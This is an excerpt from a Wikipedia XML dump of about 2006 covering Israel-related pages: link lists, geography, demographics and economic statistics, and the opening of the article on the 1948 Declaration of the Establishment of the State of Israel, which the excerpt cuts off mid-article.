*[http://www.reform.org.il/ Israel Movement for Progressive Judaism], Reform Judaism in Israel
* [http://www.guardian.co.uk/israel/Story/0,,1703245,00.html ''The Guardian - Worlds apart'']

{{col-end}}

{{col-begin}}
{{col-2}}
&lt;h3&gt;Photos&lt;h3&gt;
* [http://www.trekker.co.il/english/israel-tour.htm Pictures of various holy sites and tourist destinations].
* Israel capital - [http://www.jerusalemshots.com/en Jerusalem]. Portal of Jerusalem Photos
{{col-2}}

&lt;h3&gt;Historical recordings&lt;h3&gt;
* [http://www.isracast.com/territories.asp Authentic historical Recordings] - UN Partition Vote of 1947, Arab Rejection, &quot;First&quot; Hatikva, Ben-Gurion - On Independence, Arab Countdown to Six Day War, Moshe Dayan - Six Day War, Gen. Ariel Sharon - &quot;Move forward!&quot;, Nasser's Infamous Phonecall, Gen. Yitzhak Rabin - Six Day War, Abba Eban's &quot;Stalingrad&quot; Speech
* [http://www.isracast.com/yk/stage.swf A cry from the bunkers] - Dramatic and authentic recordings by IDF soldier Avi Yaffe from inside the IDF position, under attack at the outbreak of the Yom Kippur war. 
{{col-end}}

{{Southwest Asia}}
{{Middle East}}
{{Mediterranean}}
{{Asia}}

[[Category:Hebrew words]]
[[Category:Israel| ]]
[[Category:Levant]]
[[Category:Middle Eastern countries]]
[[Category:Near Eastern countries]]
[[Category:Southwest Asian countries]]

{{Link FA|he}}

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[[tr:İsrail]]
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[[ur:اسرائیل]]
[[yi:ישראל]]
[[zh:以色列]]</text>
    </revision>
  </page>
  <page>
    <title>Israel/History</title>
    <id>14686</id>
    <revision>
      <id>15912222</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[History of Israel]]

:''See also :'' [[Israel]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Israel</title>
    <id>14687</id>
    <revision>
      <id>41776127</id>
      <timestamp>2006-03-01T17:46:36Z</timestamp>
      <contributor>
        <username>Gidonb</username>
        <id>31749</id>
      </contributor>
      <comment>articles have already been merged. discussion was in the past.</comment>
      <text xml:space="preserve">{{Geography of Israel}}
[[Image:LocationIsrael.png|right|frame|Map of Israel]]
[[Image:Cia-is-map.gif|right|258px|Map of Israel]]
[[Image:Satellite image of Israel in January 2003.jpg|left|thumb|250px|]]
'''[[Israel]]''' is located at the eastern end of the [[Mediterranean Sea]]. It is bounded on the north by [[Lebanon]], on the northeast by [[Syria]], on the east and southeast by [[Jordan]], on the southwest by [[Egypt]], and on the west by the [[Mediterranean Sea]]. Before June 1967, the area composing [[Israel]] (resulting from the armistice lines of 1949 and 1950) was about 20,700 [[square kilometers]] (8,000 [[square mile|mi²]]), which included 445 square kilometers (172 mi²) of inland water. Thus Israel was roughly the size of the state of New Jersey, stretching 424 kilometers (263 [[mile|mi]]) from north to south. Its width ranged from 114 kilometers (71 mi) to, at its narrowest point, 10 kilometers (6.2 mi). After the June 1967 War, Israel [[Israeli-occupied territories|occupied]] territories totaling an additional 7,099 square kilometers (2,743 mi²). These territories include the [[West Bank]], 5,879 square kilometers (2,270 mi²); [[East Jerusalem]] (annexed, according Israeli law), 70 km² (27 mi²); and the [[Golan Heights]] ([[de facto]] annexation), 1,150 km² (444 mi²).

'''[[Geographic coordinates]]:'''
{{coor dm|31|30|N|34|45|E|type:country}}

==Physical geography==
===Topography===
The country is divided into four regions: the [[coastal plain]], the central hills, the Jordan Rift Valley, and the [[Negev|Negev Desert]]. The [[Israeli Coastal Plain|Mediterranean coastal plain]] stretches from the Lebanese border in the north to [[Gaza]] in the south, interrupted only by Cape Carmel at [[Gulf of Haifa|Haifa Bay]]. It is about forty kilometers wide at Gaza and narrows toward the north to about five kilometers at the Lebanese border. The region is [[fertile soil|fertile]] and [[humidity|humid]] (historically [[malaria|malarial]]) and is known for its [[citrus]] and [[wine|viniculture]]. The plain is traversed by several short streams, of which only two, the [[Yarqon River|Yarqon]] and [[Kishon River|Qishon]], have permanent water flows.

East of the coastal plain lies the central [[Highland (geography)|highland]] region. In the north of this region lie the mountains and hills of [[Galilee|Upper Galilee and Lower Galilee]]; farther to the south are the [[Samaria|Samarian Hills]] with numerous small, fertile valleys; and south of Jerusalem are the mainly barren hills of [[Judea]]. The central highlands average 610 meters (2,000 ft) in height and reach their highest elevation at Mount Meron, at 1,208 meters (3,963 ft), in Galilee near [[Safed|Zefat (Safad)]]. Several valleys cut across the highlands roughly from east to west; the largest is the [[Jezreel Valley|Yizreel]] or Jezreel Valley (also known as the Plain of Esdraelon), which stretches forty-eight kilometers (30 mi) from [[Haifa]] southeast to the valley of the Jordan River, and is nineteen kilometers across at its widest point.

East of the central highlands lies the Jordan Rift Valley, which is a small part of the 6,500-kilometer-long (4,040 mi) [[Great Rift Valley|Syrian-East African Rift]]. In Israel the Rift Valley is dominated by the Jordan River, [[Sea of Galilee|Lake Tiberias]] (known also as the Sea of Galilee and to Israelis as Lake Kinneret), and the [[Dead Sea]]. The [[Jordan River|Jordan]], Israel's largest river (322 km / 200 mi), originates in the Dan, Baniyas, and Hasbani rivers near [[Hermon|Mount Hermon]] in the [[Anti-Lebanon|Anti-Lebanon Mountains]] and flows south through the drained [[Hulah Valley|Hula Basin]] into the [[Freshwater|freshwater]] Lake Tiberias. Lake Tiberias is 165 square kilometers (63.7 mi²) in size and, depending on the [[season]] and [[rainfall]], is at about 213 meters (700 ft) below sea level. With a water capacity estimated at 3 cubic kilometers (106 billion cubic feet), it serves as the principal reservoir of the [[National Water Carrier]] (also known as the Kinneret-Negev Conduit). The Jordan River continues its course from the southern end of Lake Tiberias (forming the boundary between the [[West Bank]] and Jordan) to its terminus in the highly saline Dead Sea. The Dead Sea is 1,020 square kilometers (393 mi²) in size and, at 399 meters (1,309 ft) below sea level, is the lowest point in the world. South of the Dead Sea, the Rift Valley continues in the [[Arabah|Nahal HaArava]] (Wadi al Arabah in Arabic), which has no permanent water flow, for 170 kilometers (106 mi) to the Gulf of Aqaba.

The Negev Desert comprises approximately 12,000 square kilometers (4,600 mi²), more than half of Israel's total land area. Geographically it is an extension of the [[Sinai|Sinai Desert]], forming a rough triangle with its base in the north near [[Beersheba]] (aka Beersheva), the Dead Sea, and the southern [[Judean Mountains|Judean Hills]], and it has its apex in the southern tip of the country at [[Eilat]]. Topographically, it parallels the other regions of the country, with lowlands in the west, hills in the central portion, and the Nahal HaArava as its eastern border.

; Elevation extremes:
:* Lowest point: [[Dead Sea]] -408 [[metre|m]] (-1,339 ft)
:* Highest point: [[Hermon|Har Hermon]] at 2,248 m (7,375 ft) in the unilaterally annexed [[Golan Heights]] or [[Meron (Israel)|Har Meron]] at 1,208 m (3,963 ft) within the 1967 boundaries.

===Climate===
Israel has a [[Mediterranean climate]] characterized by long, hot, dry summers and short, cool, rainy winters, as modified locally by altitude and latitude. Summers are very humid along the Mediterranean coast but dry in the [[Negev]]. The climate is determined by Israel's location between the [[Subtropics|subtropical]] aridity characteristic of Egypt and the subtropical humidity of the Levant or eastern Mediterranean. January is the coldest month, with average temperatures ranging from 5 °C to 12 °C (41 °F to 54 °F), and August is the hottest month at 18 °C to 38 °C (64 °F to 100 °F). In Eilat, the desert city, in the summer the temperatures are the highest in the country. But the dry air makes it very pleasant. More than 70 percent of the average rainfall in the country falls between November and March; June through September are often rainless. Rainfall is unevenly distributed, decreasing sharply as one moves southward. In the extreme south, rainfall averages less than 50 millimeters (2 in) annually; in the north, average annual rainfall exceeds 900 millimeters (35 in). Rainfall varies from season to season and from year to year, particularly in the Negev Desert. Precipitation is often concentrated in violent storms, causing [[erosion]] and [[Flood|flooding]]. During January and February, it may take the form of [[snow]] at the higher elevations of the central highlands, including Jerusalem. The areas of the country most cultivated are those that receive more than 300 millimeters (12 in) of rainfall annually; about one-third of the country is cultivable.

===Environmental concerns===
; Natural hazards:
: [[Dust storm|Sandstorms]] may occur during spring; [[drought]]s; [[flash flood]]s; periodic [[earthquake]]s
; Environment--current issues:
: Limited arable land and natural fresh water resources pose serious constraints; [[desertification]]; [[air pollution]] from industrial and vehicle emissions; [[Water pollution|groundwater pollution]] from industrial and domestic waste, [[Chemical fertilizers#Environmental effects of fertilizer use|chemical fertilizers]], and [[Pesticide|pesticides]]
; Environment--international agreements:
:* Party to: [[Convention on Biological Diversity|Biodiversity]], [[UNFCCC|Climate Change]], [[United Nations Convention to Combat Desertification|Desertification]], [[Convention on the International Trade in Endangered Species of Wild Flora and Fauna|Endangered Species]], Hazardous Wastes, [[Nuclear Test Ban]], [[Montreal Protocol|Ozone Layer Protection]], [[MARPOL 73/78|Ship Pollution]], [[Convention on Wetlands of International Importance Especially As Waterfowl Habitat|Wetlands]]
:* Signed, but not ratified: [[Kyoto Protocol]], [[Marine Life Conservation]]

; Note:
;[[Sea of Galilee]] is an important freshwater source.

==Human geography==
In [[2005]] the total population of the Israeli inhabited places is estimated at 6.9 million. Depending on the definitions applied, there were three to five metropolises, which included some of Israel's 71 cities, hundreds of towns and thousands of villages and other small settlements. Among the villages, the [[kibbutz]]im and [[moshav]]im are unique types of settlement to Israel. There are 242 Israeli settlements and civilian land use sites in the [[West Bank]], 42 in the Israeli-occupied [[Golan Heights]], and 29 in East [[Jerusalem]] (February 2002 est.);

===Urban geography===
Israeli metropolises are [[Tel Aviv]], [[Haifa]] and [[Beer Sheva]] and possibly also [[Jerusalem]] [http://www.usm.maine.edu/~maps/exhibit1/theme7.html] and [[Nazareth]] [http://www.fips.org.il/fips/site/p_publications/item_en.asp?doc=pap&amp;iss=gov&amp;iid=500&amp;sid=401].

In 2005 there are 71 Israeli [[city|cities]], including 3 Israeli cities in the West Bank. (see [[list of cities in Israel]]). The status of city is awarded by the Israeli minister of internal affairs to settlements that apply for this status and usually pass a threshold of 20.000, although the minister can give and in some cases does give out the status beforehand. 

Israeli towns of 5.000 residents and more are incorporated as &quot;local councils&quot;. Most towns between 2.000 and 5.000 residents are local committees within regional councils, although exceptions exist.

===Rural geography===
Israel's rural space includes several unique kinds of settlements, notably the [[moshav]] and the [[kibbutz]]. Originally these were collective and cooperative settlements respectively. Over time, the degree of cooperation in these settlements has reduced and in several of them the cooperative structure was dismantled altogether. All rural settlements and many small towns (some of which are dubbed &quot;rurban settlements&quot;) are incorporated in regional councils.

===Political geography===
; Area:
:* Total: [[1 E10 m²|20,770]] [[square kilometre|km²]] (8,019 [[square mile|mi²]])
:* Land: 20,330 km&amp;sup2; (7,849 mi²)
:* Water: 440 km&amp;sup2; (170 mi²)
; Land boundaries:
:* Total: 1,017 km (632 [[mile|mi]])
:* Border countries: [[Egypt]] [[1 E5 m|266]] [[kilometre|km]] (165 mi), [[Gaza Strip]] [[1 E4 m|51 km]] (32 mi), [[Jordan]] 238 km (148 mi), [[Lebanon]] 79 km (49 mi), [[Syria]] 76 km (47 mi), [[West Bank]] 307 km (191 mi)
; Coastline:
: 273 km (170 mi)
; Maritime claims:
:* Continental shelf: to depth of exploitation
:* Territorial sea: 12 [[Nautical mile|nm]] (22.2 km)
* Northernmost point - the [[tripoint]] with [[Syria]] and [[Lebanon]], [[Golan Heights]] &lt;sup&gt;1&lt;/sup&gt;
* Easternmost point - an unnamed location on the border with Syria &lt;sup&gt;2&lt;/sup&gt;
* Southernmost point - the point at which the Israel-Egypt border enters the [[Gulf of Aqaba]], east of [[Taba]], [[Egypt]]
* Westernmost point - the Egypt-Israel-Gaza [[tripoint]], is Israel's westernmost point.

===Economic geography===
; Natural resources:
: [[Copper]], [[phosphates]], [[bromide]], [[potash]], [[clay]], [[sand]], [[sulfur]], [[asphalt]], [[manganese]], small amounts of [[natural gas]] and [[crude oil]]
; Land use:
:* Arable land: 17.02%
:* Permanent crops: 4.17%
:* Other: 78.81% (1998 est.)
; Irrigated land:
: [[1 E9 m²|1,990 km²]] or 768 mi² (1998 est.)


==Sources==
*http://mama.indstate.edu/users/gejdg/rural.pdf

[[Category:Settlements in Israel|*]]

&lt;sup&gt;1&lt;/sup&gt; If the Golan Heights region is not considered part of Israel, then an unnamed location on the Lebanese border (the Blue Line), immediately to the north of [[Metulla]], is Israel's northernmost point. 

&lt;sup&gt;2&lt;/sup&gt; If the Golan Heights region is not considered part of Israel, then an unnamed location on the border with Syria west of [[Qela]] is Israel's easternmost point

==Other geographic features==
*[[Dead Sea]]
*[[Galilee]]
*[[Mount Arbel]]
*[[Jordan River]]
*[[Lake Hula]]
*[[Masada]]
*[[Mount Carmel, Israel|Mount Carmel]]
*[[Negev]]
*[[Sea of Galilee]]
*[[Sharon, Israel|Sharon]]
*[[Districts of Israel]]
*[[List of cities in Israel]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]

{{Asia in topic|Geography of}}

[[Category:Geography by country|Israel]]
[[Category:Geography of Israel| ]]

[[fr:Géographie d'Israël]]
[[he:גאוגרפיה של ישראל]]
[[nl:Geografie van Israël]]
[[pt:Geografia de Israel]]
[[ru:География Израиля]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Israel</title>
    <id>14688</id>
    <revision>
      <id>40856380</id>
      <timestamp>2006-02-23T13:19:31Z</timestamp>
      <contributor>
        <username>Jon513</username>
        <id>548089</id>
      </contributor>
      <minor />
      <comment>/* Religions */</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
{{contradict}}
{{Israelis}}
This article discusses the '''[[demographics]] of [[Israel]]'''.

==Population==
(July 2005)

''Total:'' 6,921,000 
''note:''
includes about 260,000 Israeli settlers in the [[West Bank]] (excluding East [[Jerusalem]]), and about 9,000 in the [[Gaza Strip]] (prior to the expulsion of Jewish residents of Gaza in the summer of 2005). [http://194.90.153.197/shnaton54/st02_07x.pdf]

==Age structure==

''0-14 years:'' 26.5% (male 851,415; female 812,095)

''15-64 years:'' 63.7% (male 2,010,888; female 1,986,256)

''65 years and over:'' 9.8% (male 264,708; female 351,521) (2005 est.)

==Population growth rate==
''overall:'' 1.2% (2005 est.)

During the 1990s, the Jewish population growth rate was about 3% per year, as a result of massive immigration to Israel, primarily from the republics of the former [[Soviet Union]]. There is also a high population growth rate among certain Jewish groups, especially adherents of [[Haredi Judaism]].

==Birth rate==

18.21 births/1,000 population (2005 est.)

==Death rate==

6.18 deaths/1,000 population (2005 est.)

==Net migration rate==
{{Jew}}
0 migrant(s)/1,000 population (2005 est.)

==Sex ratio==

''at birth:'' 1.05 male(s)/female

''under 15 years:'' 1.05 male(s)/female

''15-64 years:'' 1.01 male(s)/female

''65 years and over:'' 0.75 male(s)/female

''total population:'' 0.99 male(s)/female (2005 est.)

==Infant mortality rate==

''total'': 7.03 deaths/1,000 live births 

''male'': 7.77 deaths/1,000 live births 

''female'': 6.26 deaths/1,000 live births (2005 est.)

==Life expectancy at birth==

''total population:'' 79.32 years

''male:'' 77.21 years

''female:'' 81.55 years (2005 est.)

==Total fertility rate==

2.44 children born/woman (2005 est.)

==Nationality==

''noun:'' Israeli(s)

''adjective:'' Israeli

==Ethnic groups==
[[Image:Israeli soldiers and Arabs .jpg|thumbnail|300px|Two Israeli soldiers chat with Israeli Arabs in the Galilee, 1978]]

''See also: [[Jewish ethnic divisions]]''

According to Israel's Central Bureau of Statistics, at the end of [[2004]], of Israel's 6.9 million people, 76.2% were [[Jew]]s, 19.5%  [[Arab]]s, and 4.3% &quot;others&quot;.[http://www1.cbs.gov.il/shnaton56/st02_01.pdf]

Among Jews, 68% were [[Sabra (person)|Sabras]] (Israeli-born), mostly second or third generation Israelis, and the rest are [[Aliyah|olim]] &amp;mdash; 22% from [[Europe]] and the [[Americas]], and 10% from [[Asia]] and [[Africa]], including the [[Arab world|Arab countries]].[http://www1.cbs.gov.il/shnaton56/st02_24.pdf]

Traditionally, Jews are grouped into:
* [[Ashkenazi]]m - Jews whose ancestors lived in from Germany, France, and Eastern Europe. Most Jewish immigrants to Israel from  Russia, Poland, Romania, Hungary, North America, South Africa and Australia are Ashkenazim.
* [[Sephardi]]m - Jews whose ancestors lived in Spain and Portugal. Most Jewish immigrants to Israel from Morocco, Turkey, and many from other North African and Mediterranean areas are Sephardim. In modern Israeli Hebrew usage, this category often includes [[Mizrahi Jews|Mizrahim]] (see next group).
* [[Mizrahi Jews|Mizrahim]] - Jews whose [[Jewish exodus from Arab lands|ancestors lived in Arab or Muslim lands]], but did not live in Spain or Portugal. Most Jewish immigrants to Israel from Iran, Iraq, Yemen, and Syria are considered Mizrahim.

Note: In Israel, Jews with origins in Western (Christian) countries are called [[Ashkenazi]] though many are not.  The Jews of Italy are [[Italkim|Bené Roma]]; the Georgian are [[Gruzim]]; the Greek are [[Romaniotes]]; and many of the Bulgarian and Latin American are [[Sephardic]]. These groups claim distinct cultures and histories.

Those with origins in Muslim and Arab lands are commonly called [[Sephardi]] though many are not.  The [[Persian Jews|Jews of Iran]] and Iraq are [[Mizrahi]] and the Yemenite and Omani are [[Temani]].                
None of these groups include the [[Beta Israel|Beta Israel of Ethiopia]] who were brought to Israel during [[Operation Solomon]] and [[Operation Moses]], as well as other groups.

For a complete list and thorough discussion of Jewish ethnic groups, see '''[[Jewish ethnic divisions]]'''.

However, this grouping is becoming used less due to cultural assimilation and intermarriage.

==Religions==
According to Israel's Central Bureau of Statistics, at the end of 2004, 76.2% of Israelis were [[Judaism|Jews]] by religion. [[Muslims]] made up 16.1% of Israelis, 2.1% were [[Christian]], 1.6% were [[Druze]] and the remaining 3.9% (including [[Russians|Russian]] immigrants and some [[Jews]]) were not classified by religion.[http://www1.cbs.gov.il/shnaton56/st02_01.pdf]

Official figures do not exist as to the number of atheists or otherwise non-affiliated individuals, who may comprise up to a quarter of the population referred to as Jewish. According to one study, 6% of Israeli Jews define themselves as ''[[haredi]]m'' (or Ultra-Orthodox); an additional 9% are &quot;religious&quot; (predominantly orthodox, also known in Israel as: Zionist-religious, national-religious and Kepot Srogot); 34% consider themselves &quot;traditionalists&quot; (not strictly adhering to Jewish [[Halakha]]); and 51% are &quot;secular&quot;. Among the seculars, 53% say they believe in God. [http://www.geocities.com/demokratya/dat/shavit.htm]

==Languages==

[[Hebrew language|Hebrew]] and [[Arabic language|Arabic]] (official), [[English language|English]] most commonly used foreign language

==Literacy==
(2003 est.) 

definition: age 15 and over can read and write 

total population: 95.4% 

male: 97.3% 

female: 93.6% 

Education between ages 5 and 16 is free and compulsory. The school system is organized into kindergartens, 6-year primary schools, and either 6-year secondary schools or 3-year junior secondary schools + 3-year senior secondary schools (depending on region), after which a comprehensive examination is offered for university admissions. There are seven university-level institutions in Israel.

==See also== 
*[[Jew]]
*[[Jewish ethnic divisions]]
*[[Israeli Arab]]
*[[Religion in Israel]]
*[[Languages of Israel]]
*[[Population groups in Israel]]

[[Category:Israeli society]]
[[Category:Demographics by country|Israel]]

[[es:Demografía de Israel]]
[[fr:Démographie d'Israël]]
[[he:דמוגרפיה של ישראל]]</text>
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  <page>
    <title>Israel/Government</title>
    <id>14689</id>
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  <page>
    <title>Economy of Israel</title>
    <id>14690</id>
    <revision>
      <id>35721116</id>
      <timestamp>2006-01-18T20:46:42Z</timestamp>
      <contributor>
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      <minor />
      <comment>/* Statistics */ 2005 exports/imports</comment>
      <text xml:space="preserve">{{Israelis}}
[[Israel]] has a diversified modern [[economic system|economy]] with substantial government ownership and a rapidly developing high-tech sector. Poor in [[Natural resource|natural resources]], Israel depends on imports of [[petroleum]], [[coal]], food, uncut [[diamond|diamonds]], other production inputs, and military equipment. It also has received substantial direct economic aid from the [[United States]], including approximately $1.2 billion per year since the mid-1970's, although that regular annual amount has been being tapered off by $120 million per year beginning in 1998. Israel's [[gross domestic product|GDP]] in [[2004]] reached $145 billion, about $20 thousand per person. The major industrial sectors include metal products, electronic and biomedical equipment, processed foods, chemicals, and transport equipment. Israel possesses a substantial service sector and is one of the world's centers for diamond cutting and polishing. It is also a world leader in software development and is a major [[tourist destination]].

Israel's strong commitment to economic development and its talented work force led to economic growth rates during the nation's first two decades that frequently exceeded 10% annually. The years after the [[1973]] [[Yom Kippur War]] were a lost decade economically, as growth stalled and [[inflation]] reached triple-digit levels. The successful economic stabilization plan implemented in [[1985]] and the subsequent introduction of market-oriented structural reforms reinvigorated the economy and paved the way for its rapid growth in the [[1990s]].

Two developments have helped to transform Israel's economy since the beginning of the decade. The first is waves of [[Aliyah|Jewish immigration]], predominantly from the countries of the former [[Soviet Union|USSR]], that has brought over one million of new citizens to Israel. These new immigrants, many of them highly educated, now constitute some 16% of Israel's 6.5 million population. Their successful absorption into Israeli society and its labor force forms a remarkable chapter in Israeli history. The skills brought by the new immigrants and their added demand as consumers have given the Israeli economy a strong upward push.

The second development benefiting the Israeli economy is the [[Peace process in the Israeli-Palestinian conflict|peace process]] begun at the [[Madrid Conference of 1991|Madrid conference]] of October [[1991]], which led to the signing of accords between Israel and the [[Palestinians]] (1993) and a peace treaty between Israel and [[Jordan]] (1994). The peace process has helped to ease Israel's economic isolation from its neighbors and has begun a process of regional economic integration that may help to stabilize the region. It has also opened up new markets to Israeli exporters farther afield, such as in the rapidly growing countries of [[East Asia]]. The peace process has stimulated an unprecedented inflow of [[Foreign direct investment|foreign investment]] in Israel, as companies that formerly shunned the Israeli market now see its potential contribution to their global strategies.

Israeli companies, particularly in the high-tech area, have recently enjoyed considerable success raising money on [[Wall Street]] and other world financial markets; Israel now ranks second among foreign countries in the number of its companies listed on U.S. stock exchanges.

The [[United States]] is Israel's largest trading partner; two-way trade totaled some $12.6 billion in 1997. The principal U.S. exports to Israel include [[Computer|computers]], integrated circuits, aircraft parts and other defense equipment, wheat, and automobiles. Israel's chief exports to the U.S. include cut diamonds, jewelry, [[Integrated circuit|integrated circuits]], printing machinery, and telecommunications equipment. The two countries signed a [[free trade]] agreement (FTA) in 1985 that progressively eliminated [[Tariff|tariffs]] on most goods traded between the two countries over the following ten years. An agricultural trade accord was signed in November 1996, which addressed the remaining goods not covered in the FTA. Some non-tariff barriers and tariffs on goods remain, however. Israel also has trade and cooperation agreements in place with the [[European Union]] and [[Canada]], and is seeking to conclude such agreements with a number of other countries, including [[Turkey]], [[Jordan]] and several countries in [[Eastern Europe]].

Until the last decade, Israel's trade with the Arab world was minimal due to the [[Arab League boycott]].  Beginning in 1945, Arab nations not only refused to have direct trade with Israel (the primary boycott), but they also refused to do business with any corporation that operated in Israel, or any corporation that did business with a corporation that did business with Israel (the secondary and tertiary boycotts).

Israel is one of the world's major exporters of military equipment, accounting for 10% of the world total in 2003.

==Statistics==
'''GDP:'''
purchasing power parity - $129 billion (2004 est.)

'''GDP - real growth rate:'''
3.9% (2004 est.)

'''GDP - per capita:'''
purchasing power parity - $20,800 (2004 est.)

'''GDP - composition by sector:'''
''agriculture:'' 2.8%
''industry:'' 37.7%
''services:'' 59.5% (2003 est.)

'''Investment (gross fixed):'''
17.2% of GDP (2003)

'''Population below poverty line:'''
18% (2001 est.)

'''Household income or consumption by percentage share:'''
''lowest 10%:'' 2.4%
''highest 10%:'' 28.3% (1997)

'''Distribution of family income - Gini index:'''
35.5 (2001)

'''Inflation rate (consumer prices):'''
0% (2004 est.)

'''Labor force:'''
2.68 million (2004 est.)

'''Labor force - by occupation:'''
agriculture, forestry, and fishing 2.6%, manufacturing 20.2%, construction 7.5%, commerce 12.8%, transport, storage, and communications 6.2%, finance and business 13.1%, personal and other services 6.4%, public services 31.2% (1996)

'''Unemployment rate:'''
9.0% (2003 est.)

'''Budget:'''
''revenues:'' $48.09 billion
''expenditures:'' $52.11 billion, including capital expenditures of NA (2004 est.)

'''Public debt:'''
104.5% of GDP (2004 est.)

'''Agriculture - products:'''
citrus, vegetables, cotton; beef, poultry, dairy products

'''Industries:'''
high-technology projects (including aviation, communications, computer-aided design and manufactures, medical electronics), wood and paper products, potash and phosphates, food, beverages, and tobacco, caustic soda, cement, diamond cutting

'''Industrial production growth rate:'''
4.5% (2004 est.)

'''Electricity - production:'''
42,670 GWh (2002)

'''Electricity - consumption:'''
38,300 GWh (2002)

'''Electricity - exports:'''
1,387 GWh (2002)

'''Electricity - imports:'''
0 kWh (2002)

'''Oil - production:'''
80 barrel/d (13 m&amp;sup3;/d) 2001 est.

'''Oil - consumption:'''
260,000 barrel/d (41,000 m&amp;sup3;/d) 2001 est.

'''Oil - exports:'''
NA (2001)

'''Oil - imports:'''
NA (2001)

'''Oil - proved reserves:'''
1.92 million barrels (305,000 m&amp;sup3;) [[1 January]] [[2002]]

'''Natural gas - production:'''
10 million m³ (2001 est.)

'''Natural gas - consumption:'''
10 million m³ (2001 est.)

'''Natural gas - exports:'''
0 m³ (2001 est.)

'''Natural gas - imports:'''
0 m³ (2001 est.)

'''Natural gas - proved reserves:'''
20.81 km³ ([[1 January]] [[2002]])

'''Current account balance:'''
$211.9 million (2004)

'''Exports:'''
$42.6 billion f.o.b. (2005 est.)

'''Exports - commodities:'''
machinery and equipment, software, cut diamonds, agricultural products, chemicals, textiles and apparel

'''Exports - partners:'''
US 36.8%, Belgium 7.5%, Hong Kong 4.9% (2004)

'''Imports:'''
$44.9 billion f.o.b. (2005 est.)

'''Imports - commodities:'''
raw materials, military equipment, investment goods, rough diamonds, fuels, grain, consumer goods

'''Imports - partners:'''
US 15%, Belgium 10.1%, Germany 7.5%, UK 6.1%, Switzerland 6.5% (2004)

'''Reserves of foreign exchange &amp; gold:'''
$28.48 billion (2004 est.)

'''Debt - external:'''
$74.46 billion (2004 est.)

'''Economic aid - recipient:'''
$662 million from US (2003 est.)

'''Currency:'''
new Israeli shekel (ILS); note - NIS is the currency abbreviation; ILS is the International Organization for Standarization (ISO) code for the NIS

'''Currency code:'''
new Israeli shekel (ILS); note - NIS is the currency abbreviation; ILS is the International Organization for Standarization (ISO) code for the NIS 

'''Exchange rates:'''
new Israeli shekels per US dollar - 4.482 ([[2004]]), 4.5541 ([[2003]]), 4.7378 ([[2002]]), 4.2057 ([[2001]]), 4.0773 ([[2000]]), 4.1397 ([[1999]])

'''Fiscal year:'''
calendar year

==See also==
* [[Economy of Asia]]
* [[List of countries by GDP (PPP)]]

== External links ==
* [http://www.cia.gov/cia/publications/factbook/geos/is.html#Econ CIA World Factbook - Israel]
* [http://www.imf.org/external/country/ISR/index.htm IMF]

{{WTO}}

[[Category:Economy of Israel| ]]
[[Category:WTO members|Israel]]

[[bg:Стопанство на Израел]]
[[fr:Économie d'Israël]]
[[he:כלכלת ישראל]]</text>
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  <page>
    <title>Declaration of the Establishment of the State of Israel</title>
    <id>14696</id>
    <revision>
      <id>40743880</id>
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      <comment>rv</comment>
      <text xml:space="preserve">[[Image:Declaration_of_State_of_Israel_1948.jpg|framed|[[David Ben Gurion]] (First Prime Minister of Israel) publicly pronouncing the Declaration of the State of Israel, May 14, 1948. [[Tel Aviv]], [[Israel]], beneath a large portrait of [[Theodore Herzl]], founder of modern political [[Zionism]].]]
{{Israelis}}

The '''Declaration of the Establishment of the State of Israel''', [[May 14]], [[1948]], was the official announcement that a new [[Jew]]ish [[state]], newly-named as the [[State of Israel]] (''Medinat Yisrael'' in [[Hebrew language|Hebrew]]), had been formally established in the [[British Mandate of Palestine]], the land where  the [[Kingdom of Israel]] and the [[Kingdom of Judah]] had once been. 

It has been called the start of the &quot;Third Jewish Commonwealth&quot; by some observers. (The &quot;First Jewish Commonwealth&quot; ending with the destruction of [[Solomon's Temple]], and the second ending with the destruction of the [[Second Temple]] in [[Jerusalem]] two thousand years ago.)

The text is [http://en.wikisource.org/wiki/Declaration_of_the_Establishment_of_the_State_of_Israel available on WikiSource].

==Historical background==

The [[Declaration of Independence]] of the [[State of Israel]] was publicly read in [[Tel Aviv]] on [[May 14]] [[1948]], before the expiration of the [[British Mandate of Palestine]] at [[midnight]]. It was drafted in the months beforehand, and the final version is a result of a compromise between the various parts of the Israeli public of that time. On [[May 14]], [[1948]], the [[Vaad Leumi]] (Jewish National Council) gathered at the [[Tel Aviv Museum of Art]], and approved the proclamation, declaring the establishment of the State of Israel. The new state and its government  was [[Diplomatic recognition|recognized]] [[de facto]] minutes later by the [[United States]] and three days later [[de jure]] by the [[Soviet Union]] ([[Stalin]] thought a communist or communist-oriented Jewish state could be a useful &quot;thorn in the back&quot; to his capitalist rivals in the [[Middle East]]). 

It was however opposed by many others, particularly [[Arab]]s (both the surrounding Arab states and the Palestinian Arabs) who felt it was being established at their expense.

The declaration is written in a style reminiscent of [[United Nations|UN]] resolutions, beginning with preambulatory sentences explaining the causes for the declaration and the right of Jews to an independent country, and then operative sentences detailing the attributes of the forthcoming State of Israel.

==Context of the Declaration of the State of Israel May 14, 1948==

The document commences by drawing a direct line from [[Hebrew Bible|Biblical]] times to the present:

''&quot;...the Land of Israel, was the birthplace of the Jewish people. Here their spiritual, religious and political identity was shaped. Here they first attained to statehood, created cultural values of national and universal significance and gave to the world the eternal Book of Books.&quot;''

It acknowledges the Jewish exile over the millennia, mentioning both ancient &quot;faith&quot; and new &quot;politics&quot;: 

''&quot;After being forcibly exiled from their land, the people kept faith with it throughout their Dispersion and never ceased to pray and hope for their return to it and for the restoration in it of their political freedom.&quot;''

It speaks of the urge of Jews to merge with their ancient homeland: 

''&quot;Impelled by this historic and traditional attachment, Jews strove in every successive generation to re-establish themselves in their ancient homeland. In recent decades they returned in their masses.&quot;''

It describes Jewish immigrants to Israel in the following terms:

''&quot;Pioneers,...and defenders, they made deserts bloom, revived the Hebrew language, built villages and towns, and created a thriving community controlling its own economy and culture, loving peace but knowing how to defend itself, bringing the blessings of progress to all the country's inhabitants, and aspiring towards independent nationhood.&quot;''

